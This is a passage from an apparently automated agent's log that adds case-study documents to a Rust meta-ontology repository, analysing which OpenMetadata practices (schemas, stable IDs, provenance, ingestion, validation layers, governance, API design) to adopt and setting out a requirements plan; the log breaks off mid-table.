--- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\n[2026-07-12T04:06:07.390Z] [INFO] +| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\n[2026-07-12T04:06:07.390Z] [INFO] +| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\n[2026-07-12T04:06:07.390Z] [INFO] +| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\n[2026-07-12T04:06:07.390Z] [INFO] +| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\n[2026-07-12T04:06:07.390Z] [INFO] +| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\n[2026-07-12T04:06:07.390Z] [INFO] +| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\n[2026-07-12T04:06:07.390Z] [INFO] +| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\n[2026-07-12T04:06:07.390Z] [INFO] +| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\n[2026-07-12T04:06:07.390Z] [INFO] +| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\n[2026-07-12T04:06:07.390Z] [INFO] +| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\n[2026-07-12T04:06:07.390Z] [INFO] +| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\n[2026-07-12T04:06:07.390Z] [INFO] +| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Reproducibility notes\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Documentation versions are included in URLs where the official site exposed a\n[2026-07-12T04:06:07.390Z] [INFO] +  stable version. `latest` links should be rechecked before implementation.\n[2026-07-12T04:06:07.390Z] [INFO] +- The compact JSON snapshots record mutable facts. Full upstream repository\n[2026-07-12T04:06:07.390Z] [INFO] +  contents are not vendored because that would add millions of unrelated files\n[2026-07-12T04:06:07.390Z] [INFO] +  and create licensing/update noise.\n[2026-07-12T04:06:07.390Z] [INFO] +- Recommendations are reasoned adaptations to the current repository; they are\n[2026-07-12T04:06:07.390Z] [INFO] +  not claims that OpenMetadata implements the exact proposed Rust design.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Context and limits\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata solves enterprise metadata discovery, ingestion, governance,\n[2026-07-12T04:06:07.390Z] [INFO] +lineage, quality, and collaboration. Meta-ontology currently loads a small lino\n[2026-07-12T04:06:07.390Z] [INFO] +graph into an in-memory Rust library and exposes it through a CLI. Their shared\n[2026-07-12T04:06:07.390Z] [INFO] +domain is metadata graphs; their scale, product scope, and operational needs are\n[2026-07-12T04:06:07.390Z] [INFO] +not comparable.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Accordingly, this analysis extracts invariants and interfaces. It rejects\n[2026-07-12T04:06:07.390Z] [INFO] +technology copying where the problem is absent.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 1. Canonical schema as the center of the system\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata defines entities and types in language-neutral schemas and derives\n[2026-07-12T04:06:07.390Z] [INFO] +models used by server, ingestion, and UI layers. This prevents three subtly\n[2026-07-12T04:06:07.390Z] [INFO] +different definitions of the same entity.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Meta-ontology already has Rust structs plus conventions embedded in lino. The\n[2026-07-12T04:06:07.390Z] [INFO] +risk is that conventions such as tuple position, mapping kind, language, or\n[2026-07-12T04:06:07.390Z] [INFO] +definition source evolve without a machine-checkable contract.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Declare a `schema_version` for the dataset and interchange representation.\n[2026-07-12T04:06:07.390Z] [INFO] +- Keep one authoritative Rust domain model.\n[2026-07-12T04:06:07.390Z] [INFO] +- Derive a JSON Schema interchange contract from it, or check a hand-maintained\n[2026-07-12T04:06:07.390Z] [INFO] +  schema against generated fixtures.\n[2026-07-12T04:06:07.390Z] [INFO] +- Validate lino-to-model normalization independently of parser success.\n[2026-07-12T04:06:07.390Z] [INFO] +- Reject unknown fields only at stable boundaries; provide migrations when a\n[2026-07-12T04:06:07.390Z] [INFO] +  stored format changes.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +JSON is an interchange format here, not a replacement for Links Notation.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 2. Identity, names, and references\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Metadata systems must distinguish machine identity, fully qualified names,\n[2026-07-12T04:06:07.390Z] [INFO] +display names, and aliases. A graph that uses a mutable label as identity makes\n[2026-07-12T04:06:07.390Z] [INFO] +rename operations destructive.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\n[2026-07-12T04:06:07.390Z] [INFO] +normalization, alias, deprecation, and redirect rules. A mapping or definition\n[2026-07-12T04:06:07.390Z] [INFO] +references the ID; CLI lookup may accept a canonical name or alias. Initially,\n[2026-07-12T04:06:07.390Z] [INFO] +IDs can be explicitly stored strings. UUIDs are useful only if decentralized\n[2026-07-12T04:06:07.390Z] [INFO] +creation makes coordinated human-readable IDs unsafe.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Required invariants\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- IDs are unique and immutable.\n[2026-07-12T04:06:07.390Z] [INFO] +- A canonical name is unique within its namespace and language rules.\n[2026-07-12T04:06:07.390Z] [INFO] +- Every edge endpoint resolves.\n[2026-07-12T04:06:07.390Z] [INFO] +- Alias chains terminate and cannot fork ambiguously.\n[2026-07-12T04:06:07.390Z] [INFO] +- Removing a referenced concept requires an explicit migration or tombstone.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 3. Typed relationships and graph integrity\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata treats lineage, ownership, classification, glossary association,\n[2026-07-12T04:06:07.390Z] [INFO] +and containment as relationships with meaning, rather than arbitrary strings.\n[2026-07-12T04:06:07.390Z] [INFO] +Meta-ontology needs the same discipline on a much smaller scale.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Define a relation registry containing at least:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- relation ID and canonical name;\n[2026-07-12T04:06:07.390Z] [INFO] +- source and target concept categories;\n[2026-07-12T04:06:07.390Z] [INFO] +- cardinality;\n[2026-07-12T04:06:07.390Z] [INFO] +- inverse, symmetry, and transitivity declarations where meaningful;\n[2026-07-12T04:06:07.390Z] [INFO] +- lifecycle state and provenance.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Do not infer logical properties from English labels. Validation should report\n[2026-07-12T04:06:07.390Z] [INFO] +the source file and record for dangling endpoints, invalid cardinality, and\n[2026-07-12T04:06:07.390Z] [INFO] +forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\n[2026-07-12T04:06:07.390Z] [INFO] +graph\u2014but selected acyclic relations such as alias redirects can be checked.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 4. Provenance, versioning, and change events\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata preserves entity versions and uses source fingerprints to avoid\n[2026-07-12T04:06:07.390Z] [INFO] +unnecessary ingestion updates. Both ideas transfer well.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Each imported assertion should be able to carry:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- source URI or source document;\n[2026-07-12T04:06:07.390Z] [INFO] +- source record/version and retrieval time;\n[2026-07-12T04:06:07.390Z] [INFO] +- creating agent (human, connector, or migration);\n[2026-07-12T04:06:07.390Z] [INFO] +- confidence or review state when the assertion is inferred;\n[2026-07-12T04:06:07.390Z] [INFO] +- license/usage note for externally sourced descriptions;\n[2026-07-12T04:06:07.390Z] [INFO] +- deterministic content fingerprint.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The loader can compare fingerprints and produce `Created`, `Updated`,\n[2026-07-12T04:06:07.390Z] [INFO] +`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\n[2026-07-12T04:06:07.390Z] [INFO] +JSON written by an explicit command. A database event table, webhook, or broker\n[2026-07-12T04:06:07.390Z] [INFO] +is unnecessary until another process consumes events.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +This also supports reproducible case studies: a claim can point to its source\n[2026-07-12T04:06:07.390Z] [INFO] +and the exact import decision.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 5. Ingestion as a normalized pipeline\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata connector code separates source extraction from normalized entity\n[2026-07-12T04:06:07.390Z] [INFO] +publication and uses a declarative topology for parent/child traversal.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Use small Rust interfaces:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +```text\n[2026-07-12T04:06:07.390Z] [INFO] +Source -> RawRecord -> Normalizer -> CandidateAssertion\n[2026-07-12T04:06:07.390Z] [INFO] +       -> Validator -> OntologyChange -> Sink/Report\n[2026-07-12T04:06:07.390Z] [INFO] +```\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The first implementation should be a fixture connector, not a large catalog.\n[2026-07-12T04:06:07.390Z] [INFO] +It must demonstrate discovery, normalization, dry-run, idempotency,\n[2026-07-12T04:06:07.390Z] [INFO] +checkpointing, structured errors, provenance, and a second unchanged run.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Connector capability declarations should state which entity/relation kinds are\n[2026-07-12T04:06:07.390Z] [INFO] +supported. Configuration must be typed, secrets must not appear in reports, and\n[2026-07-12T04:06:07.390Z] [INFO] +partial failures must not silently create a partially valid graph.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 6. Layered quality and observability\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata separates reusable test definitions, applications of those tests,\n[2026-07-12T04:06:07.390Z] [INFO] +suites, executions, and results. Meta-ontology can adopt that conceptual model\n[2026-07-12T04:06:07.390Z] [INFO] +without building a scheduler or UI.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Layers\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. **Syntax:** lino parses.\n[2026-07-12T04:06:07.390Z] [INFO] +2. **Shape:** records conform to the versioned model.\n[2026-07-12T04:06:07.390Z] [INFO] +3. **Referential integrity:** IDs and relation endpoints resolve.\n[2026-07-12T04:06:07.390Z] [INFO] +4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\n[2026-07-12T04:06:07.390Z] [INFO] +   required definition/language coverage.\n[2026-07-12T04:06:07.390Z] [INFO] +5. **Quality policy:** provenance, ownership, review status, mapping coverage,\n[2026-07-12T04:06:07.390Z] [INFO] +   duplicate/suspicious definitions.\n[2026-07-12T04:06:07.390Z] [INFO] +6. **Repository policy:** files format, tests pass, word coverage, size limits.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Return stable diagnostic codes with file/record locations. Produce a JSON report\n[2026-07-12T04:06:07.390Z] [INFO] +for CI in addition to human output. Trend history and alert routing should wait\n[2026-07-12T04:06:07.390Z] [INFO] +until repeated scheduled validation exists.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 7. Governance belongs in the model\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata models ownership, glossaries, classifications, domains, policies,\n[2026-07-12T04:06:07.390Z] [INFO] +and lifecycle status. For meta-ontology, the immediate value is accountability\n[2026-07-12T04:06:07.390Z] [INFO] +and explainability, not enterprise access control.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Add optional owner/steward references at dataset, namespace, and concept level.\n[2026-07-12T04:06:07.390Z] [INFO] +- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\n[2026-07-12T04:06:07.390Z] [INFO] +- Separate descriptive classification from security policy.\n[2026-07-12T04:06:07.390Z] [INFO] +- Let policies refer to metadata attributes so the future service can evaluate\n[2026-07-12T04:06:07.390Z] [INFO] +  actor + resource + operation.\n[2026-07-12T04:06:07.390Z] [INFO] +- Record review decisions as provenance rather than overwriting history.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Authentication and authorization enforcement belongs at the future HTTP/API\n[2026-07-12T04:06:07.390Z] [INFO] +boundary. The library should expose policy-relevant attributes without deciding\n[2026-07-12T04:06:07.390Z] [INFO] +who the current user is.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 8. API and client boundaries\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata's schema-first REST API demonstrates the value of consistent\n[2026-07-12T04:06:07.390Z] [INFO] +resource naming and shared types. Meta-ontology's M3 service should not expose\n[2026-07-12T04:06:07.390Z] [INFO] +internal loader structs directly.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Proposed resources\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/relations` and graph traversal endpoints;\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/definitions`, `/mappings`, and `/languages`;\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/validation-runs` and `/changes`;\n[2026-07-12T04:06:07.390Z] [INFO] +- explicit import/export endpoints with dry-run support.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Use cursor pagination, sparse field selection only when needed, structured\n[2026-07-12T04:06:07.390Z] [INFO] +errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\n[2026-07-12T04:06:07.390Z] [INFO] +Patch until partial updates and conflict semantics are fully specified.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 9. Search and discovery\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\n[2026-07-12T04:06:07.390Z] [INFO] +catalog. The current ontology can search normalized in-memory fields.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Define a `SearchIndex` interface only after search semantics are specified:\n[2026-07-12T04:06:07.390Z] [INFO] +exact ID/name, alias, language-aware text, relation filters, and ranking. A\n[2026-07-12T04:06:07.390Z] [INFO] +linear implementation is the correct baseline. Tantivy is a plausible embedded\n[2026-07-12T04:06:07.390Z] [INFO] +step if benchmarks show a need; an external cluster is not.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 10. Security and operations\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata documents authentication, authorization, secrets, upgrades,\n[2026-07-12T04:06:07.390Z] [INFO] +backups, and production deployment. These are reminders that a service boundary\n[2026-07-12T04:06:07.390Z] [INFO] +creates obligations.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Before M3 is production-ready, specify:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- read-only versus mutation endpoints;\n[2026-07-12T04:06:07.390Z] [INFO] +- authentication and authorization model;\n[2026-07-12T04:06:07.390Z] [INFO] +- request limits and payload limits;\n[2026-07-12T04:06:07.390Z] [INFO] +- secret handling for connectors;\n[2026-07-12T04:06:07.390Z] [INFO] +- audit/change retention;\n[2026-07-12T04:06:07.390Z] [INFO] +- schema/data migration and backup/restore procedures;\n[2026-07-12T04:06:07.390Z] [INFO] +- health, readiness, metrics, and structured logging;\n[2026-07-12T04:06:07.390Z] [INFO] +- threat tests for malformed graphs and expensive traversal.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +None of this requires adopting OpenMetadata's deployment topology today.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Risks and countermeasures\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Risk | Countermeasure |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\n[2026-07-12T04:06:07.390Z] [INFO] +| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\n[2026-07-12T04:06:07.390Z] [INFO] +| Breaking old datasets | Version schemas and test migration fixtures |\n[2026-07-12T04:06:07.390Z] [INFO] +| Mutable names break links | Introduce stable IDs before importers or APIs |\n[2026-07-12T04:06:07.390Z] [INFO] +| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\n[2026-07-12T04:06:07.390Z] [INFO] +| Unverifiable external claims | Require provenance and license metadata |\n[2026-07-12T04:06:07.390Z] [INFO] +| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\n[2026-07-12T04:06:07.390Z] [INFO] +| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\n[2026-07-12T04:06:07.390Z] [INFO] +| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\n[2026-07-12T04:06:07.390Z] [INFO] +| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Recommended outcome\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\n[2026-07-12T04:06:07.390Z] [INFO] +service APIs, governance, versioning, quality, and clients describe the same\n[2026-07-12T04:06:07.390Z] [INFO] +entities. Meta-ontology should build that coherence in-process first. A clean\n[2026-07-12T04:06:07.390Z] [INFO] +modular monolith can later move selected interfaces across process boundaries\n[2026-07-12T04:06:07.390Z] [INFO] +without redesigning the ontology.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Requirements, Solutions, and Implementation Plan\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Requirement derivation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Issue 5 names OpenMetadata in its title and uses the repository's standard case\n[2026-07-12T04:06:07.390Z] [INFO] +study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\n[2026-07-12T04:06:07.390Z] [INFO] +by \u201cuse best practices\u201d and by making the output reviewable and actionable.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Complete requirement list\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| ID | Requirement | Evidence | Delivered here |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\n[2026-07-12T04:06:07.390Z] [INFO] +| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\n[2026-07-12T04:06:07.390Z] [INFO] +| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\n[2026-07-12T04:06:07.390Z] [INFO] +| R4 | List every requirement from the issue | Issue body | This table |\n[2026-07-12T04:06:07.390Z] [INFO] +| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\n[2026-07-12T04:06:07.390Z] [INFO] +| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\n[2026-07-12T04:06:07.390Z] [INFO] +| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\n[2026-07-12T04:06:07.390Z] [INFO] +| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\n[2026-07-12T04:06:07.390Z] [INFO] +| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\n[2026-07-12T04:06:07.390Z] [INFO] +| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Solutions by requirement\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R1: collect data\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Options:** vendor the upstream repository; save complete API dumps; or preserve\n[2026-07-12T04:06:07.390Z] [INFO] +a curated, time-stamped evidence set with primary links.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\n[2026-07-12T04:06:07.390Z] [INFO] +repository would be noisy and stale quickly. Full GitHub API payloads contain\n[2026-07-12T04:06:07.390Z] [INFO] +mostly transport metadata. The snapshots preserve the mutable facts needed to\n[2026-07-12T04:06:07.390Z] [INFO] +reproduce this analysis, while the inventory points to exact upstream areas.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** every local artifact named in the case-study README exists;\n[2026-07-12T04:06:07.390Z] [INFO] +mutable observations include an observation date; empty comment/review streams\n[2026-07-12T04:06:07.390Z] [INFO] +are recorded.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R2 and R7: deep analysis of applicable practices\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Options:** feature checklist, technology-stack comparison, or domain-boundary\n[2026-07-12T04:06:07.390Z] [INFO] +analysis.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** domain-boundary analysis. It explains how schema, identity,\n[2026-07-12T04:06:07.390Z] [INFO] +relationships, provenance, ingestion, validation, governance, API, search, and\n[2026-07-12T04:06:07.390Z] [INFO] +operations affect this repository and explicitly states what not to copy.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** each practice has current-state context, an adaptation, and\n[2026-07-12T04:06:07.390Z] [INFO] +either an implementation slice or a deferral criterion.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R3: online research\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Options:** secondary articles, current official docs, or source-only review.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** combine official versioned documentation with the upstream source\n[2026-07-12T04:06:07.390Z] [INFO] +tree and recognized standards. This gives design explanation plus inspectable\n[2026-07-12T04:06:07.390Z] [INFO] +implementation boundaries. Secondary claims are unnecessary.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** sources are primary, linked, access-dated, and separated from\n[2026-07-12T04:06:07.390Z] [INFO] +recommendations. Time-sensitive facts are not treated as permanent.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R4: enumerate requirements\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** assign stable IDs to explicit and implied requirements. This avoids\n[2026-07-12T04:06:07.390Z] [INFO] +mistaking a long architectural summary for issue completion.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** every phrase in the issue body maps to R1-R6; the title's\n[2026-07-12T04:06:07.390Z] [INFO] +\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R5: solutions and plans\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** use thin vertical slices, each ending in data fixtures, library\n[2026-07-12T04:06:07.390Z] [INFO] +behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** the phased plan below has dependencies, acceptance criteria,\n[2026-07-12T04:06:07.390Z] [INFO] +and stop/go gates.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R6: components and libraries\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** prefer standards and focused Rust crates over an OpenMetadata\n[2026-07-12T04:06:07.390Z] [INFO] +runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\n[2026-07-12T04:06:07.390Z] [INFO] +or a purpose-built connector.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Capability | Build/adopt decision | Candidate |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Typed serialization | Adopt | `serde` |\n[2026-07-12T04:06:07.390Z] [INFO] +| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\n[2026-07-12T04:06:07.390Z] [INFO] +| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\n[2026-07-12T04:06:07.390Z] [INFO] +| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\n[2026-07-12T04:06:07.390Z] [INFO] +| Provenance 